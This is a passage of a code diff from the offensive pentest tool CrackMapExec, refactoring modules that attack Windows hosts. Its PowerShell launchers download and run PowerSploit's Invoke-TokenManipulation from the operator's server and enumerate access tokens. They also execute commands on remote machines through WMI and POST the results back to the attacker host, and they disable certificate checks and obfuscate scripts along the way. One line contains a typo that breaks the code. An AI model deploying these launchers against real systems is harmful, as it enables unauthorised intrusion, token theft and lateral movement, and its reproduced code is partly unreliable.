request.wfile.write(ps_script)
|
||||
|
||||
elif 'TokenRider.ps1' == request.path[1:]:
|
||||
|
@ -135,45 +176,7 @@ class CMEModule:
|
|||
request.end_headers()
|
||||
|
||||
#Command to execute on the target system(s)
|
||||
command_to_execute = 'cmd.exe /c {}'.format(self.command)
|
||||
#context.log.debug(command_to_execute)
|
||||
|
||||
#This will get executed in the process that was created with the impersonated token
|
||||
elevated_ps_command = '''
|
||||
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||
function Send-POSTRequest {{
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[string] $data
|
||||
)
|
||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
|
||||
$request.ContentLength = $bytes.Length;
|
||||
$requestStream = $request.GetRequestStream();
|
||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||
$requestStream.Close();
|
||||
$request.GetResponse();
|
||||
}}
|
||||
|
||||
$post_output = "";
|
||||
$targets = @({targets});
|
||||
foreach ($target in $targets){{
|
||||
try{{
|
||||
Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $target -ArgumentList "{command}";
|
||||
$post_output = $post_output + "Executed command on $target! `n";
|
||||
}} catch {{
|
||||
$post_output = $post_output + "Error executing command on $target $_.Exception.Message `n";
|
||||
}}
|
||||
}}
|
||||
Send-POSTRequest $post_output'''.format(server=context.server,
|
||||
addr=context.localip,
|
||||
port=context.server_port,
|
||||
targets=self.target_computers,
|
||||
command=command_to_execute)
|
||||
|
||||
request.wfile.write(elevated_ps_command)
|
||||
request.wfile.write(payload)
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
from cme.helpers import create_ps_command, obfs_ps_script, gen_random_string, get_ps_script, write_log
|
||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
|
||||
from datetime import datetime
|
||||
from StringIO import StringIO
|
||||
import os
|
||||
|
@ -14,6 +14,8 @@ class CMEModule:
|
|||
|
||||
description = "Enumerates available tokens using Powersploit's Invoke-TokenManipulation"
|
||||
|
||||
chain_support = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
USER Search for the specified username in available tokens (default: None)
|
||||
|
@ -39,13 +41,10 @@ class CMEModule:
|
|||
|
||||
self.userfile = path
|
||||
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
payload = '''
|
||||
def launcher(self, context, command):
|
||||
launcher = '''
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
|
||||
$creds = Invoke-{func_name} -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
|
||||
$creds = Invoke-TokenManipulation -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
|
||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
|
@ -56,22 +55,24 @@ class CMEModule:
|
|||
$requestStream.Close();
|
||||
$request.GetResponse();'''.format(server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
func_name=self.obfs_name)
|
||||
addr=context.localip)
|
||||
|
||||
context.log.debug('Payload: {}'.format(payload))
|
||||
payload = create_ps_command(payload)
|
||||
connection.execute(payload)
|
||||
context.log.success('Executed payload')
|
||||
return reate_ps_command(launcher)
|
||||
|
||||
def on_request(self, context, request):
|
||||
def payload(self, context, command):
|
||||
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
|
||||
return obfs_ps_script(ps_script.read())
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher)
|
||||
context.log.success('Executed launcher')
|
||||
|
||||
def on_request(self, context, request, launcher, payload):
|
||||
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||
request.wfile.write(ps_script)
|
||||
request.wfile.write(payload)
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
|
|
3
setup.py
3
setup.py
|
@ -3,6 +3,7 @@ from setuptools import setup, find_packages
|
|||
setup(name='crackmapexec',
|
||||
version='3.1.5-dev',
|
||||
description='A swiss army knife for pentesting Windows/Active Directory environments',
|
||||
dependency_links = ['https://github.com/CoreSecurity/impacket/tarball/master#egg=impacket-0.9.16dev'],
|
||||
classifiers=[
|
||||
'License :: OSI Approved :: BSD License',
|
||||
'Programming Language :: Python :: 2.7',
|
||||
|
@ -16,7 +17,7 @@ setup(name='crackmapexec',
|
|||
"cme", "cme.*"
|
||||
]),
|
||||
install_requires=[
|
||||
'impacket>=0.9.15',
|
||||
'impacket>=0.9.16dev',
|
||||
'gevent',
|
||||
'netaddr',
|
||||
'pyOpenSSL',
|
||||
|
|
Loading…
Reference in New Issue